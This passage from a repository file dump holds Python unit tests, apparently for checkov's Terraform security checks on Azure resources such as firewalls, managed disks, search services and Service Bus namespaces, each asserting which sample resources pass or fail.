    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureFirewallDefinesPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureFirewallDefinesPolicy(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureFirewallDefinesPolicy\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_firewall.pass\",\n        }\n        failing_resources = {\n            \"azurerm_firewall.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureFirewallDenyThreatIntelMode.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureFirewallDenyThreatIntelMode import check\n\n\nclass TestAzureFirewallDenyThreatIntelMode(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureFirewallDenyThreatIntelMode\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_firewall.pass',\n        }\n\n        failing_resources = {\n            'azurerm_firewall.fail',\n            'azurerm_firewall.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureFirewallPolicyIDPSDeny.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureFirewallPolicyIDPSDeny import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureFirewallPolicyIDPSDeny(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureFirewallPolicyIDPSDeny\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_firewall_policy.pass\",\n        }\n        failing_resources = {\n            \"azurerm_firewall_policy.fail\",\n            \"azurerm_firewall_policy.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureFrontDoorEnablesWAF.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureFrontDoorEnablesWAF import check\n\n\nclass TestAzureFrontDoorEnablesWAF(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureFrontDoorEnablesWAF\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_frontdoor.pass',\n        }\n\n        failing_resources = {\n            'azurerm_frontdoor.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureInstanceExtensions.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureInstanceExtensions import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureInstanceExtensions(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureInstanceExtensions\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_linux_virtual_machine.disabled\",\n            \"azurerm_windows_virtual_machine.disabled\",\n        }\n        failing_resources = {\n            \"azurerm_linux_virtual_machine.default\",\n            \"azurerm_linux_virtual_machine.enabled\",\n            \"azurerm_windows_virtual_machine.default\",\n            \"azurerm_windows_virtual_machine.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureInstancePassword.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.azure.AzureInstancePassword import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureInstancePassword(unittest.TestCase):\n    def test_failure(self):\n        resource_conf = {\n            \"name\": [\"${var.prefix}-vm\"],\n            \"location\": [\"${azurerm_resource_group.main.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.main.name}\"],\n            \"network_interface_ids\": [[\"${azurerm_network_interface.main.id}\"]],\n            \"vm_size\": [\"Standard_DS1_v2\"],\n            \"storage_image_reference\": [\n                {\"publisher\": [\"Canonical\"], \"offer\": [\"UbuntuServer\"], \"sku\": [\"16.04-LTS\"], \"version\": [\"latest\"]}\n            ],\n            \"storage_os_disk\": [\n                {\n                    \"name\": [\"myosdisk1\"],\n                    \"caching\": [\"ReadWrite\"],\n                    \"create_option\": [\"FromImage\"],\n                    \"managed_disk_type\": [\"Standard_LRS\"],\n                }\n            ],\n            \"os_profile\": [\n                {\"computer_name\": [\"hostname\"], \"admin_username\": [\"testadmin\"], \"admin_password\": [\"Password1234!\"]}\n            ],\n            \"os_profile_linux_config\": [{\"disable_password_authentication\": [False]}],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": [\"${var.prefix}-vm\"],\n            \"location\": [\"${azurerm_resource_group.main.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.main.name}\"],\n            \"network_interface_ids\": [[\"${azurerm_network_interface.main.id}\"]],\n            \"vm_size\": [\"Standard_DS1_v2\"],\n            \"storage_image_reference\": [\n                {\"publisher\": [\"Canonical\"], \"offer\": [\"UbuntuServer\"], \"sku\": [\"16.04-LTS\"], \"version\": [\"latest\"]}\n            ],\n            \"storage_os_disk\": [\n                {\n                    \"name\": [\"myosdisk1\"],\n                    \"caching\": [\"ReadWrite\"],\n                    \"create_option\": [\"FromImage\"],\n                    \"managed_disk_type\": [\"Standard_LRS\"],\n                }\n            ],\n            \"os_profile\": [\n                {\"computer_name\": [\"hostname\"], \"admin_username\": [\"testadmin\"], \"admin_password\": [\"Password1234!\"]}\n            ],\n            \"os_profile_linux_config\": [{\"disable_password_authentication\": [True]}],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureManagedDiscEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureManagedDiskEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureManagedDiskEncryption(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureManagedDiskEncryption\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_managed_disk.pass\",\n            \"azurerm_managed_disk.pass2\",\n            \"azurerm_managed_disk.pass3\",\n        }\n        failing_resources = {\n            \"azurerm_managed_disk.fail\",\n            \"azurerm_managed_disk.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureManagedDiskEncryptionSet.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureManagedDiskEncryptionSet import check\n\n\nclass TestAzureManagedDiskEncryptionSet(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureManagedDiskEncryptionSet\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_managed_disk.pass\",\n        }\n        failing_resources = {\n            \"azurerm_managed_disk.fail\",\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureScaleSetPassword.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureScaleSetPassword import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureScaleSetPassword(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_linux_virtual_machine_scale_set\" \"example\" {\n            name                = var.scaleset_name\n            resource_group_name = var.resource_group.name\n            location            = var.resource_group.location\n            sku                 = var.sku\n            instances           = var.instance_count\n            admin_username      = var.admin_username\n            disable_password_authentication = false\n            tags = var.common_tags\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_linux_virtual_machine_scale_set\" \"example\" {\n            name                = var.scaleset_name\n            resource_group_name = var.resource_group.name\n            location            = var.resource_group.location\n            sku                 = var.sku\n            instances           = var.instance_count\n            admin_username      = var.admin_username\n            disable_password_authentication = true\n\n                admin_ssh_key {\n                    username   = var.admin_username\n                    public_key = tls_private_key.new.public_key_pem\n                }\n            tags = var.common_tags\n        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureSearchAllowedIPsNotGlobal.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureSearchAllowedIPsNotGlobal import check\n\n\nclass TestAzureSearchAllowedIPsNotGlobal(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureSearchAllowedIPsNotGlobal\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_search_service.default\",\n            \"azurerm_search_service.private\",\n        }\n        failing_resources = {\n            \"azurerm_search_service.public\",\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureSearchManagedIdentity.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureSearchManagedIdentity import check\n\n\nclass TestAzureSearchManagedIdentity(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSearchManagedIdentity\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_search_service.pass'\n        }\n        failing_resources = {\n            'azurerm_search_service.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureSearchPublicNetworkAccessDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureSearchPublicNetworkAccessDisabled import check\n\n\nclass TestAzureSearchPublicNetworkAccessDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSearchPublicNetworkAccessDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_search_service.pass'\n        }\n        failing_resources = {\n            'azurerm_search_service.fail',\n            'azurerm_search_service.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureSearchSLAIndex.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureSearchSLAIndex import check\n\n\nclass TestAzureSearchSLAIndex(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSearchSLAIndex\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_search_service.pass'\n        }\n        failing_resources = {\n            'azurerm_search_service.fail',\n            'azurerm_search_service.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureSearchSLAQueryUpdates.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureSearchSLAQueryUpdates import check\n\n\nclass TestAzureSearchSLAQueryUpdates(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSearchSLAQueryUpdates\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_search_service.pass'\n        }\n        failing_resources = {\n            'azurerm_search_service.fail',\n            'azurerm_search_service.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServiceFabricClusterProtectionLevel.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureServiceFabricClusterProtectionLevel import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureServiceFabricClusterProtectionLevel(unittest.TestCase):\n    def test_passing(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_service_fabric_cluster\" \"example\" {\n  name = \"example-servicefabric\"\n  resource_group_name = azurerm_resource_group.example.name\n  location = azurerm_resource_group.example.location\n  reliability_level = \"Bronze\"\n  upgrade_mode = \"Manual\"\n  cluster_code_version = \"7.1.456.959\"\n  vm_image = \"Windows\"\n  management_endpoint = \"https://example:80\"\n  fabric_settings {\n    name = \"Security\"\n    parameters = {\n      name = \"ClusterProtectionLevel\"\n      value = \"EncryptAndSign\"\n    }\n  }\n\n\n  node_type {\n    name = \"first\"\n    instance_count = 3\n    is_primary = true\n    client_endpoint_port = 2020\n    http_endpoint_port = 80\n  }\n}\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_missing(self):\n        hcl_res = hcl2.loads(\"\"\"\n    resource \"azurerm_service_fabric_cluster\" \"example\" {\n      name = \"example-servicefabric\"\n      resource_group_name = azurerm_resource_group.example.name\n      location = azurerm_resource_group.example.location\n      reliability_level = \"Bronze\"\n      upgrade_mode = \"Manual\"\n      cluster_code_version = \"7.1.456.959\"\n      vm_image = \"Windows\"\n      management_endpoint = \"https://example:80\"\n\n\n      node_type {\n        name = \"first\"\n        instance_count = 3\n        is_primary = true\n        client_endpoint_port = 2020\n        http_endpoint_port = 80\n      }\n    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_wrong(self):\n        def test_passing(self):\n            hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_service_fabric_cluster\" \"example\" {\n          name = \"example-servicefabric\"\n          resource_group_name = azurerm_resource_group.example.name\n          location = azurerm_resource_group.example.location\n          reliability_level = \"Bronze\"\n          upgrade_mode = \"Manual\"\n          cluster_code_version = \"7.1.456.959\"\n          vm_image = \"Windows\"\n          management_endpoint = \"https://example:80\"\n          fabric_settings {\n            name = \"Security\"\n            parameters = {\n              name = \"ClusterProtectionLevel\"\n              value = \"Sign\"\n            }\n          }\n\n\n          node_type {\n            name = \"first\"\n            instance_count = 3\n            is_primary = true\n            client_endpoint_port = 2020\n            http_endpoint_port = 80\n          }\n        }\n                    \"\"\")\n            resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example']\n            scan_result = check.scan_resource_conf(conf=resource_conf)\n            self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServicebusDoubleEncryptionEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureServicebusDoubleEncryptionEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureServicebusDoubleEncryptionEnabled(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureServicebusDoubleEncryptionEnabled\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_servicebus_namespace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_servicebus_namespace.fail\",\n            \"azurerm_servicebus_namespace.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServicebusHasCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureServicebusHasCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureServicebusHasCMK(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureServicebusHasCMK\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_servicebus_namespace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_servicebus_namespace.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServicebusIdentityProviderEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureServicebusIdentityProviderEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureServicebusIdentityProviderEnabled(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureServicebusIdentityProviderEnabled\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_servicebus_namespace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_servicebus_namespace.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServicebusLocalAuthDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureServicebusLocalAuthDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureServicebusLocalAuthDisabled(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureServicebusLocalAuthDisabled\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_servicebus_namespace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_servicebus_namespace.fail\",\n            \"azurerm_servicebus_namespace.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServicebusMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureServicebusMinTLSVersion import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureServicebusMinTLSVersion(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureServicebusMinTLSVersion\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_servicebus_namespace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_servicebus_namespace.fail\",\n            \"azurerm_servicebus_namespace.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureServicebusPublicAccessDisabled.py",
